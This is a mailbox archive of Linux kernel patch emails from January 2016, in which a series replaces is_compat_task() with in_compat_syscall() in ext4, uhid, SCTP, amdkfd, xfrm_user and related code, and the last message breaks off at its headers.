@@ -647,7 +647,7 @@ static inline int ll_need_32bit_api(struct ll_sb_info *sbi)
 #if BITS_PER_LONG == 32
 	return 1;
 #elif defined(CONFIG_COMPAT)
-	return unlikely(is_compat_task() || (sbi->ll_flags & LL_SBI_32BIT_API));
+	return unlikely(in_compat_syscall() || (sbi->ll_flags & LL_SBI_32BIT_API));
 #else
 	return unlikely(sbi->ll_flags & LL_SBI_32BIT_API);
 #endif
-- 
2.5.0




From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 08/16] ext4: In ext4_dir_llseek, check syscall bitness directly
Date: Mon, 25 Jan 2016 14:24:22 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <8946a5499b6b9f2837fed067885b595ea52aafdf.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760858 24391 80.91.229.3 (25 Jan 2016 22:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:27:38 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:27:31 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpbe-0006Q7-Uy
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:27:31 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:40178 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011538AbcAYW13IF7jU (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:27:29 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:27:14 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37297 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011552AbcAYWYv2QFIw (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:51 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 176CF20160;
        Mon, 25 Jan 2016 22:24:50 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 6D9A220274;
        Mon, 25 Jan 2016 22:24:49 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51368
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52528 gmane.linux.kernel.cross-arch:30478 gmane.linux.ports.parisc:26440 gmane.linux.ports.sparc:22243
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52528>

ext4 treats directory offsets differently for 32-bit and 64-bit
callers.  Check the caller type using in_compat_syscall, not
is_compat_task.  This changes behavior on SPARC slightly.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 fs/ext4/dir.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/fs/ext4/dir.c b/fs/ext4/dir.c
index 1d1bca74f844..6395456edea6 100644
--- a/fs/ext4/dir.c
+++ b/fs/ext4/dir.c
@@ -276,7 +276,7 @@ errout:
 static inline int is_32bit_api(void)
 {
 #ifdef CONFIG_COMPAT
-	return is_compat_task();
+	return in_compat_syscall();
 #else
 	return (BITS_PER_LONG == 32);
 #endif
-- 
2.5.0




From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: [PATCH v2 15/16] uhid: Check write() bitness using in_compat_syscall
Date: Mon, 25 Jan 2016 14:24:29 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <8c4d604b079099acb0df9ad849d53b589ea7aa9a.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760862 24410 80.91.229.3 (25 Jan 2016 22:27:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:27:42 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jan 25 23:27:36 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aNpbh-0006Sg-M4
	for lnx-sparclinux@plane.gmane.org; Mon, 25 Jan 2016 23:27:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933457AbcAYW1L (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 25 Jan 2016 17:27:11 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:50063 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932969AbcAYWY7 (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:59 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id C775B203C2;
	Mon, 25 Jan 2016 22:24:57 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 2F38C203B5;
	Mon, 25 Jan 2016 22:24:57 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22244 gmane.linux.kernel.cross-arch:30479 gmane.linux.ports.parisc:26441 gmane.linux.ports.mips.general:52529
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/22244>

uhid changes the format expected in write() depending on bitness.
It should check the syscall bitness directly.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 drivers/hid/uhid.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/hid/uhid.c b/drivers/hid/uhid.c
index e094c572b86e..16b6f11a0700 100644
--- a/drivers/hid/uhid.c
+++ b/drivers/hid/uhid.c
@@ -384,7 +384,7 @@ struct uhid_create_req_compat {
 static int uhid_event_from_user(const char __user *buffer, size_t len,
 				struct uhid_event *event)
 {
-	if (is_compat_task()) {
+	if (in_compat_syscall()) {
 		u32 type;
 
 		if (get_user(type, buffer))
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 09/16] net/sctp: Use in_compat_syscall for sctp_getsockopt_connectx3
Date: Mon, 25 Jan 2016 14:24:23 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <f2dfab45994770860a85edacf90f254952027861.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760882 24871 80.91.229.3 (25 Jan 2016 22:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:28:02 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:27:51 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpbz-0006dD-1s
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:27:51 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:40376 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011539AbcAYW1rKPQnU (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:27:47 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:27:30 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37313 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011558AbcAYWYwjTWdM (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:52 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 4875B2034C;
        Mon, 25 Jan 2016 22:24:51 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id A1B0E20303;
        Mon, 25 Jan 2016 22:24:50 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51369
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52530 gmane.linux.kernel.cross-arch:30480 gmane.linux.ports.parisc:26442 gmane.linux.ports.sparc:22245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52530>

SCTP unfortunately has a different ABI for SCTP_SOCKOPT_CONNECTX3
for 32-bit and 64-bit callers.  Use in_compat_syscall to correctly
distinguish them on all architectures.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 net/sctp/socket.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/sctp/socket.c b/net/sctp/socket.c
index 9bb80ec4c08f..20ab6b2bbbb9 100644
--- a/net/sctp/socket.c
+++ b/net/sctp/socket.c
@@ -1389,7 +1389,7 @@ static int sctp_getsockopt_connectx3(struct sock *sk, int len,
 	int err = 0;
 
 #ifdef CONFIG_COMPAT
-	if (is_compat_task()) {
+	if (in_compat_syscall()) {
 		struct compat_sctp_getaddrs_old param32;
 
 		if (len < sizeof(param32))
-- 
2.5.0




From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: [PATCH v2 13/16] amdkfd: Use in_compat_syscall to check open() caller type
Date: Mon, 25 Jan 2016 14:24:27 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <f9ae00f060781de8174c371b3c1918ff429572f4.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760892 25003 80.91.229.3 (25 Jan 2016 22:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:28:12 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jan 25 23:28:09 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aNpcF-0006n9-Kg
	for lnx-sparclinux@plane.gmane.org; Mon, 25 Jan 2016 23:28:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932606AbcAYW2C (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 25 Jan 2016 17:28:02 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:50028 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932926AbcAYWY4 (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:56 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id B3A8D203C1;
	Mon, 25 Jan 2016 22:24:55 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 0D673203C0;
	Mon, 25 Jan 2016 22:24:55 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22246 gmane.linux.kernel.cross-arch:30481 gmane.linux.ports.parisc:26443 gmane.linux.ports.mips.general:52531
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/22246>

amdkfd wants to know syscall type, not task type.  Check directly.

Unfortunately, amdkfd is making nasty assumptions that a process'
bitness is a well-defined constant thing.  This isn't the case on
x86.  I don't know how much this matters, but this patch has no
effect on generated code on x86, so amdkfd is equally broken with
and without this patch.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 drivers/gpu/drm/amd/amdkfd/kfd_chardev.c | 2 +-
 drivers/gpu/drm/amd/amdkfd/kfd_process.c | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/gpu/drm/amd/amdkfd/kfd_chardev.c b/drivers/gpu/drm/amd/amdkfd/kfd_chardev.c
index d2b49c026cf6..07ac724e3ec9 100644
--- a/drivers/gpu/drm/amd/amdkfd/kfd_chardev.c
+++ b/drivers/gpu/drm/amd/amdkfd/kfd_chardev.c
@@ -107,7 +107,7 @@ static int kfd_open(struct inode *inode, struct file *filep)
 	if (iminor(inode) != 0)
 		return -ENODEV;
 
-	is_32bit_user_mode = is_compat_task();
+	is_32bit_user_mode = in_compat_syscall();
 
 	if (is_32bit_user_mode == true) {
 		dev_warn(kfd_device,
diff --git a/drivers/gpu/drm/amd/amdkfd/kfd_process.c b/drivers/gpu/drm/amd/amdkfd/kfd_process.c
index 9be007081b72..fd1a90a0f435 100644
--- a/drivers/gpu/drm/amd/amdkfd/kfd_process.c
+++ b/drivers/gpu/drm/amd/amdkfd/kfd_process.c
@@ -311,7 +311,7 @@ static struct kfd_process *create_process(const struct task_struct *thread)
 		goto err_process_pqm_init;
 
 	/* init process apertures*/
-	process->is_32bit_user_mode = is_compat_task();
+	process->is_32bit_user_mode = in_compat_syscall();
 	if (kfd_init_apertures(process) != 0)
 		goto err_init_apretures;
 
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 10/16] net/xfrm_user: Use in_compat_syscall to deny compat syscalls
Date: Mon, 25 Jan 2016 14:24:24 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <ba8cd4d5f06bead4294ac3ff26e2b76d10536d83.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760896 25143 80.91.229.3 (25 Jan 2016 22:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:28:16 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:28:11 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpcD-0006nA-Nw
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:28:05 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:40566 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011535AbcAYW2EUmxSU (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:28:04 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:27:50 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37331 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011469AbcAYWYxkhUyx (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:53 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 5018520303;
        Mon, 25 Jan 2016 22:24:52 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id A7BA420398;
        Mon, 25 Jan 2016 22:24:51 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51370
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52532 gmane.linux.kernel.cross-arch:30482 gmane.linux.ports.parisc:26444 gmane.linux.ports.sparc:22247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52532>

The code wants to prevent compat code from receiving messages.  Use
in_compat_syscall for this.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 net/xfrm/xfrm_user.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c
index 805681a7d356..2cc7af858c6f 100644
--- a/net/xfrm/xfrm_user.c
+++ b/net/xfrm/xfrm_user.c
@@ -2449,7 +2449,7 @@ static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
 	int type, err;
 
 #ifdef CONFIG_COMPAT
-	if (is_compat_task())
+	if (in_compat_syscall())
 		return -ENOTSUPP;
 #endif
 
-- 
2.5.0




From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: [PATCH v2 12/16] efivars: Use in_compat_syscall to check for compat callers
Date: Mon, 25 Jan 2016 14:24:26 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <bb33b15489a3da562dcb9c73b333152c0821a3f8.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760899 25154 80.91.229.3 (25 Jan 2016 22:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:28:19 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 25 23:28:11 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1aNpcE-0006n9-Vy
	for glka-linux-arch@plane.gmane.org; Mon, 25 Jan 2016 23:28:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933553AbcAYW2E (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 25 Jan 2016 17:28:04 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:50013 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932902AbcAYWY4 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:56 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id 91FE220398;
	Mon, 25 Jan 2016 22:24:54 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id D0B89203B5;
	Mon, 25 Jan 2016 22:24:53 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
